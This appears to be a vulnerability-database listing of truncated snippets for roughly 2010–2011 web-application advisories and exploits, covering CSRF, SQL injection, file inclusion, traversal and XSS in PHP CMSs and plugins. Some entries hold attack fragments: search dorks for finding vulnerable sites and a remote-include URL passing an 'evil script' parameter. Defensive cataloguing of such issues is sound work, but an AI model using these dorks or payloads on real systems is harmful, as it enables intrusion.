AM4SS 1.2 Cross Site Request Forgery

Title : AM4SS Version 1.2 - CSRF add Admin Script : AM4SS Version 1.2 Language : Php Download : http://am4ss.org/am4ss.tar.gz Date : 2011/09/09 Version : 1.2 Dork : "Powered by AM4SS " Found : by red virus [email protected] Homepage : www.alm3refh.com document.r3dvirus.submit; greats 2 alm3refh.com -...

AM4SS 1.2 - Cross-Site Request Forgery (Add Admin)

Title : AM4SS Version 1.2 - CSRF add Admin Script : AM4SS Version 1.2 Language : Php Download : http://am4ss.org/am4ss.tar.gz Date : 2011/09/09 Version : 1.2 Dork : "Powered by AM4SS " Found : by red virus [email protected] Homepage : www.alm3refh.com document.r3dvirus.submit; greats 2 alm3refh.com -...

AM4SS 1.2 CSRF add admin Vulnerability

Exploit for php platform in category web applications Title : AM4SS Version 1.2 - CSRF add Admin Script : AM4SS Version 1.2 Language : Php Download : http://am4ss.org/am4ss.tar.gz Date : 2011/09/09 Version : 1.2 Dork : "Powered by AM4SS " Found : by red virus email protected Homepage :...

WordPress Plugin Couponer 1.2 - SQL Injection

Exploit Title: WordPress Couponer plugin = 1.2 SQL Injection Vulnerability Date: 2011-08-31 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/couponer.zip Version: 1.2 tested Note: magicquotes has to be turned off --- PoC ---...

WordPress Plugin Global Content Blocks 1.2 - SQL Injection

Exploit Title: WordPress Global Content Blocks plugin 0 // intval"1a" = 1 : $entry = $wpdb-getrow"select from ".$wpdb-prefix."gcb where id=".$id; $finaltext = base64encode$entry-name."". base64encode$entry-description."". base64encode$entry-value."". base64encode$entry-type;...

AChecker 1.2 Multiple Error-Based SQL Injection vulnerabilities

Summary AChecker is an open source Web accessibility evaluation tool. It can be used to review the accessibility of Web pages based on a variety international accessibility guidelines. Description Input passed via the parameter 'myownpatchid' in '/updater/patchedit.php' and the parameter 'id' in...

Simple web-server Directory Traversal Vulnerability

Simple web-server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further...

Tugux CMS 1.2 Multiple Remote Vulnerabilities

Exploit for php platform in category web applications Title: Tugux CMS 1.2 Multiple Remote Vulnerabilities ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Vendor: Tugux Studios...

Mahara Multiple Vulnerabilities (Apr 2011)

Mahara is prone to multiple cross-site scripting XSS and cross-site request forgery CSRF vulnerabilities. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier:...

Joomla! Component CCBoard 1.2-RC - Multiple Vulnerabilities

Exploit Title: Joomla Component comccboard Multiple Vulnerabilities Date: 13 Nov 2010 Author: jdc Category: webapps/0day Version: 1.2-RC Download: http://codeclassic.org/the-downloads/joomla-extensionscomponents/292-ccboard-bulletin-board-forum.html Persistent XSS -------------- ccBoard doesn't...

django -- cross-site scripting vulnerability

The remote host is missing an update to the system as announced in the referenced advisory. VID 3ff95dd3-c291-11df-b0dc-00215c6a37bb OpenVAS Vulnerability Test $ Description: Auto generated from VID 3ff95dd3-c291-11df-b0dc-00215c6a37bb Authors: Thomas Reinke Copyright: Copyright c 2010 E-Soft Inc...

Debian DSA-2087-1 : cabextract - programming error

It was discovered that a programming error in the archive test mode of cabextract, a program to extract Microsoft Cabinet files, could lead to the execution of arbitrary code. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracte...

EZPX Photoblog 1.2 Beta - Remote File Inclusion

EZPX Photoblog 1.2 Beta - Remote File Inclusion EZPX photoblog 1.2 beta Remote Include Exploit Vendor Url: http://ezpx.org/ Found by sh00t0ut Expl: http://victim/system/application/views/public/commentform.php?tplbasedir=evil script...

CMSQlite 'index.php' SQL Injection and Directory Traversal Vulnerabilities

CMSQlite is prone to multiple SQL injection and directory traversal vulnerabilities. SPDX-FileCopyrightText: 2010 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...

DEBIAN-CVE-2010-0745

Unspecified vulnerability in Dovecot 1.2.x before 1.2.11 allows remote attackers to cause a denial of service CPU consumption via long headers in an e-mail message...

PT-2010-3357 · Open Source Matters · Joomla!

Name of the Vulnerable Software and Affected Versions: Joomla! component com if surfalert version 1.2 Description: A directory traversal issue in the com if surfalert component allows remote attackers to read arbitrary files, and possibly have other unspecified impacts, by using a .. dot dot in t...

Joomla Component com_mtfireeagle Local File Inclusion Vulnerability

Exploit for php platform in category web applications =================================================================== Joomla Component commtfireeagle Local File Inclusion Vulnerability ===================================================================...

Joomla component com_jwmmxtd <= Remote File Inclusion Vulnerability

No description provided by source. Joomla component comjwmmxtd = Remote File Inclusion Vulnerability Info: "JW Media Manager XTD" comjwmmxtd Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x Version: 1.2 License: http://www.gnu.org/copyleft/gpl.html Page: http://www.joomlaworks.gr...

Joomla Jwmmxtd Remote File Inclusion

Joomla component comjwmmxtd = Remote File Inclusion Vulnerability Info: "JW Media Manager XTD" comjwmmxtd Administrator Component for Joomla! 1.0.x & Mambo 4.5.x/4.6.x Version: 1.2 License: http://www.gnu.org/copyleft/gpl.html Page: http://www.joomlaworks.gr Author: eidelweiss Contact:...

GeFest Web HomeServer 1.0 Directory Traversal

|------------------------------------------------------------------| | | | / / / / | | / / / / / / / \ / / / / \ | | / // // / / / / / // / / / / / // / // / / / / / / | | /// //,// // //,// // // | | | | http://www.corelan.be:8800 | | [email protected] | | |...